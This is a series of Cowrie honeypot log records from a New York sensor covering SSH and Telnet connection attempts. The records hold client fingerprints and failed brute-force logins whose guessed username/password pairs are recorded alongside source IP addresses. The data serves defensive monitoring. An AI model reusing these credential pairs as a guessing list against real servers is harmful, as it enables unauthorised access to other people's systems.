{"eventid":"cowrie.login.failed","username":"root","password":"jktymrf","message":"login attempt [root/jktymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:50.102946Z","src_ip":"147.45.197.250","session":"9fed916f23ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:51.195621Z","src_ip":"147.45.197.250","session":"9fed916f23ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca0b2d258d5","protocol":"telnet","message":"New connection: 192.119.13.58:53118 (10.17.0.5:23) [session: 2ca0b2d258d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:51.533336Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37408,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaee8419082d","protocol":"telnet","message":"New connection: 192.119.13.58:37408 (10.17.0.5:23) [session: eaee8419082d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:54.730976Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40764,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b03c348d06","protocol":"telnet","message":"New connection: 192.119.13.58:40764 (10.17.0.5:23) [session: b2b03c348d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:55.663887Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43008,"dst_ip":"10.17.0.5","dst_port":23,"session":"b643baf11a8c","protocol":"telnet","message":"New connection: 192.119.13.58:43008 (10.17.0.5:23) [session: b643baf11a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:56.313758Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50130,"dst_ip":"10.17.0.5","dst_port":23,"session":"883081f58681","protocol":"telnet","message":"New connection: 192.119.13.58:50130 (10.17.0.5:23) [session: 883081f58681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:58.310239Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.156.6.210","src_port":55870,"dst_ip":"159.203.135.109","dst_port":22,"session":"9759d1ed9943","protocol":"ssh","message":"New connection: 182.156.6.210:55870 (159.203.135.109:22) [session: 9759d1ed9943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:11.683566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:11.690344Z","src_ip":"182.156.6.210","session":"9759d1ed9943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:11.886620Z","src_ip":"182.156.6.210","session":"9759d1ed9943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test","message":"login attempt [ubuntu/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:12.699743Z","src_ip":"182.156.6.210","session":"9759d1ed9943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:13.899762Z","src_ip":"182.156.6.210","session":"9759d1ed9943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38008,"dst_ip":"10.17.0.5","dst_port":23,"session":"005598be7e21","protocol":"telnet","message":"New connection: 192.119.13.58:38008 (10.17.0.5:23) [session: 005598be7e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:16.992370Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40738,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3a5cea1433","protocol":"telnet","message":"New connection: 192.119.13.58:40738 (10.17.0.5:23) [session: dc3a5cea1433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:17.749696Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":59356,"dst_ip":"159.203.135.109","dst_port":22,"session":"c843f57f27a4","protocol":"ssh","message":"New connection: 103.101.216.219:59356 (159.203.135.109:22) [session: c843f57f27a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:18.712710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:18.719089Z","src_ip":"103.101.216.219","session":"c843f57f27a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:18.974767Z","src_ip":"103.101.216.219","session":"c843f57f27a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"222","message":"login attempt [root/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:20.000857Z","src_ip":"103.101.216.219","session":"c843f57f27a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:21.252988Z","src_ip":"103.101.216.219","session":"c843f57f27a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":48866,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b607199a740","protocol":"ssh","message":"New connection: 103.77.175.15:48866 (10.17.0.5:22) [session: 1b607199a740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:25.063019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:25.070086Z","src_ip":"103.77.175.15","session":"1b607199a740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:25.323671Z","src_ip":"103.77.175.15","session":"1b607199a740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.26218795776367,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:25.479234Z","src_ip":"192.119.13.58","session":"6324c0afe1de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40483045578003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:26.068599Z","src_ip":"192.119.13.58","session":"b2b03c348d06","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:26.090219Z","src_ip":"103.77.175.15","session":"1b607199a740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:27.345505Z","src_ip":"103.77.175.15","session":"1b607199a740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":28621,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad2243a7d171","protocol":"ssh","message":"New connection: 2.57.121.25:28621 (159.203.135.109:22) [session: ad2243a7d171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:33.418537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:33.423807Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:33.525829Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110988","message":"login attempt [user/110988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:33.984746Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091993","message":"login attempt [user/11091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:35.086717Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091980","message":"login attempt [user/11091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:36.189310Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.33990740776062,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:36.873088Z","src_ip":"192.119.13.58","session":"2ca0b2d258d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"110880","message":"login attempt [user/110880] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:37.295811Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110490","message":"login attempt [user/110490] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:38.395972Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:39.497608Z","src_ip":"2.57.121.25","session":"ad2243a7d171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.18967533111572,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:39.920508Z","src_ip":"192.119.13.58","session":"eaee8419082d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50530,"dst_ip":"10.17.0.5","dst_port":22,"session":"9427592f0463","protocol":"ssh","message":"New connection: 103.27.238.116:50530 (10.17.0.5:22) [session: 9427592f0463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:42.077049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:42.089226Z","src_ip":"103.27.238.116","session":"9427592f0463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:42.372962Z","src_ip":"103.27.238.116","session":"9427592f0463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nataha","message":"login attempt [root/nataha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:43.223846Z","src_ip":"103.27.238.116","session":"9427592f0463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.29467701911926,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:43.604786Z","src_ip":"192.119.13.58","session":"883081f58681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.005733251571655,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:44.319343Z","src_ip":"192.119.13.58","session":"b643baf11a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:44.510606Z","src_ip":"103.27.238.116","session":"9427592f0463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51666,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2cdec0af5d8","protocol":"telnet","message":"New connection: 192.119.13.58:51666 (10.17.0.5:23) [session: a2cdec0af5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:48.942395Z"}
{"eventid":"cowrie.session.closed","duration":35.12773394584656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:52.877186Z","src_ip":"192.119.13.58","session":"dc3a5cea1433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34064245223999,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:53.332886Z","src_ip":"192.119.13.58","session":"005598be7e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45772,"dst_ip":"10.17.0.5","dst_port":23,"session":"a10126937fe7","protocol":"telnet","message":"New connection: 192.119.13.58:45772 (10.17.0.5:23) [session: a10126937fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:55.541592Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56015,"dst_ip":"10.17.0.5","dst_port":22,"session":"65069639e279","protocol":"ssh","message":"New connection: 167.172.81.52:56015 (10.17.0.5:22) [session: 65069639e279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:57.723540Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:57.735595Z","src_ip":"167.172.81.52","session":"65069639e279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:50:57.740277Z","src_ip":"167.172.81.52","session":"65069639e279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48022,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cb3d1eae227","protocol":"telnet","message":"New connection: 192.119.13.58:48022 (10.17.0.5:23) [session: 5cb3d1eae227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:09.011626Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58774,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ac3a548572f","protocol":"telnet","message":"New connection: 192.119.13.58:58774 (10.17.0.5:23) [session: 1ac3a548572f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:11.723087Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48514,"dst_ip":"10.17.0.5","dst_port":23,"session":"6221c9d1189d","protocol":"telnet","message":"New connection: 192.119.13.58:48514 (10.17.0.5:23) [session: 6221c9d1189d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:16.258232Z"}
{"eventid":"cowrie.session.closed","duration":2.0214924812316895,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:18.279400Z","src_ip":"192.119.13.58","session":"6221c9d1189d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53212,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1b9a6f2d327","protocol":"telnet","message":"New connection: 192.119.13.58:53212 (10.17.0.5:23) [session: e1b9a6f2d327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:24.670522Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36848,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eadd69ac016","protocol":"telnet","message":"New connection: 192.119.13.58:36848 (10.17.0.5:23) [session: 5eadd69ac016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:27.700166Z"}
{"eventid":"cowrie.session.closed","duration":43.62461185455322,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:32.566850Z","src_ip":"192.119.13.58","session":"a2cdec0af5d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37884,"dst_ip":"10.17.0.5","dst_port":23,"session":"64243645105d","protocol":"telnet","message":"New connection: 192.119.13.58:37884 (10.17.0.5:23) [session: 64243645105d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:51:34.976666Z"}
